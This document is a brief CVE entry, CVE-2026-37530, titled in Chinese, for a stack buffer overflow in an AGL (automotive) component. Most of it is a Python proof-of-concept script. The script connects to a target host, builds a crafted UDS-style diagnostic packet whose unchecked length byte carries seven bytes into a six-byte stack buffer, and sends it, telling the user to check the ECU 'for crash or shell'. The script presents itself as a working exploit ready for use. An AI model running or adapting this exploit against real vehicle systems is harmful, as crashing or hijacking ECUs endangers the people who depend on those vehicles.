CVE-2026-37530: AGL组件栈缓冲区溢出漏洞

# PoC for CVE-2026-37530 # This script demonstrates the stack buffer overflow by sending # a crafted diagnostic request with payload_length = 7. import socket import struct def send_exploit(target_ip, target_port): try: # Connect to the vulnerable AGL service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct malicious UDS-like packet # pid_length is assumed to be 2 bytes for this example # Offset = 1 (header) + 2 (pid) = 3 # Buffer size = 6 # Writing 7 bytes at offset 3 overwrites 4 bytes (Return Address + saved FP) pid = b"\x01\x02" # Payload length set to 7 (MAX_UDS_REQUEST_PAYLOAD_LENGTH) # This exceeds the allocated 6-byte stack buffer payload = b"\x41" * 7 # 'A' * 7 # Construct packet: [SID] [Length] [PID] [Payload] packet = b"\x2E" # Example Service ID for diagnostic control packet += struct.pack("B", len(payload)) # uint8_t payload_length (no bounds check) packet += pid packet += payload print(f"[*] Sending exploit payload to {target_ip}:{target_port}") s.send(packet) print("[*] Payload sent. Check ECU for crash or shell.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port send_exploit("192.168.1.10", 8080)